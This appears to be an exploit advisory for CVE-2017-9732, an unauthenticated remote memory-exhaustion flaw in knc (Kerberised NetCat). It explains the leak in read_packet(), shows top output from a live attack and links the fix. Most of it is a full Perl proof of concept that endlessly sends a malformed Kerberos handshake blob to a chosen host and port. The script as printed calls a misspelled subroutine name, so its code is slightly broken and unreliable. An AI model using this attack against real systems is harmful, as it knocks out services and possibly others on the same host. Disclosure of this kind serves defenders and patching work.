knc (Kerberized NetCat) Denial Of Service

`# Product  
"KNC is Kerberised NetCat. It works in basically the same way as either netcat or stunnel except that it is uses GSS-API to secure the communication. You can use it to construct client/server applications while keeping the Kerberos libraries out of your programs address space quickly and easily."  
  
## Links  
Official page:  
http://oskt.secure-endpoints.com/knc.html  
Source code repository:  
https://github.com/elric1/knc/  
  
## CVE-2017-9732 vulnerability  
knc (Kerberised NetCat) before 1.11-1 is vulnerable to denial of service (memory exhaustion) that can be exploited remotely without authentication, possibly affecting another services running on the targeted host.  
  
The knc implementation uses a temporary buffer in read_packet() function that is not freed (memory leak). An unauthenticated attacker can abuse this by sending a blob of valid kerberos handshake structure but with unexpected type; instead of token type AP_REQ (0x0100) I sent 0x0000 at bytes 16 and 17 in my proof of concept. During the attack, gss_sec_accept_context returns G_CONTINUE_NEEDED and the memory is exhausted in the long run.  
  
The attack might not even be logged, depending on how the Open Source Kerberos Tooling stack is configured.  
  
## Exploit  
  
```  
./memory-exhaustion-poc.pl target-host target-port  
```  
  
Top output ~30 seconds later:  
  
```  
2 CPUs; last pid: 20507; load averages: 1.26, 0.84, 0.38 14:11:53  
  
268 processes: 4 running, 264 sleeping  
  
CPU states: 38.6% user, 0.0% nice, 27.1% system, 34.3% idle  
  
cpu 0: 18.7% user, 0.0% nice, 22.9% system, 58.4% idle  
  
cpu 1: 54.7% user, 0.0% nice, 30.7% system, 14.6% idle  
  
Memory: 7857M real, 7734M used, 122M free Swap: 4094M total, 0K used, 4094M free  
  
  
  
PID PSID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND  
  
20156 19806 username 1 20 0 2165M 2133M cpu1 19:41 46.19% knc  
...  
```  
  
  
  
## Bugfix  
https://github.com/elric1/knc/commit/f237f3e09ecbaf59c897f5046538a7b1a3fa40c1  
  
  
## Proof of concept  
# memory-exhaustion-poc.pl  
  
#!/usr/bin/perl  
  
use strict;  
use warnings;  
use IO::Socket::INET;  
  
my $host = shift @ARGV || "127.0.0.1";  
my $port = shift @ARGV || 2666;  
  
my $sock = IO::Socket::INET->new(PeerPort => $port, PeerAddr => $host) or die "Cant connect: $@\n";  
$sock->autoflush();  
  
my $data = pack("H*", without_spaces("  
60 82 02 32 06 09 2a 86 48 86 f7 12 01 02 02 00  
00 6e 82 02 21 30 82 02 1d a0 03 02 01 05 a1 03  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00   
"));  
  
while(1){  
send_with_lenght_prefix($data);  
}  
  
sub send_with_length_prefix {  
my $d = shift;  
do_send(pack("N", length($d)));  
do_send($d);  
}  
  
sub do_send {  
my $d = shift;  
printf STDERR ">> %s\n", unpack("H*", $d);  
print $sock $d or die "Cant write: $!";   
}  
  
sub without_spaces {  
my $d = shift;  
$d =~ s/\s*//g;  
return $d;  
}  
`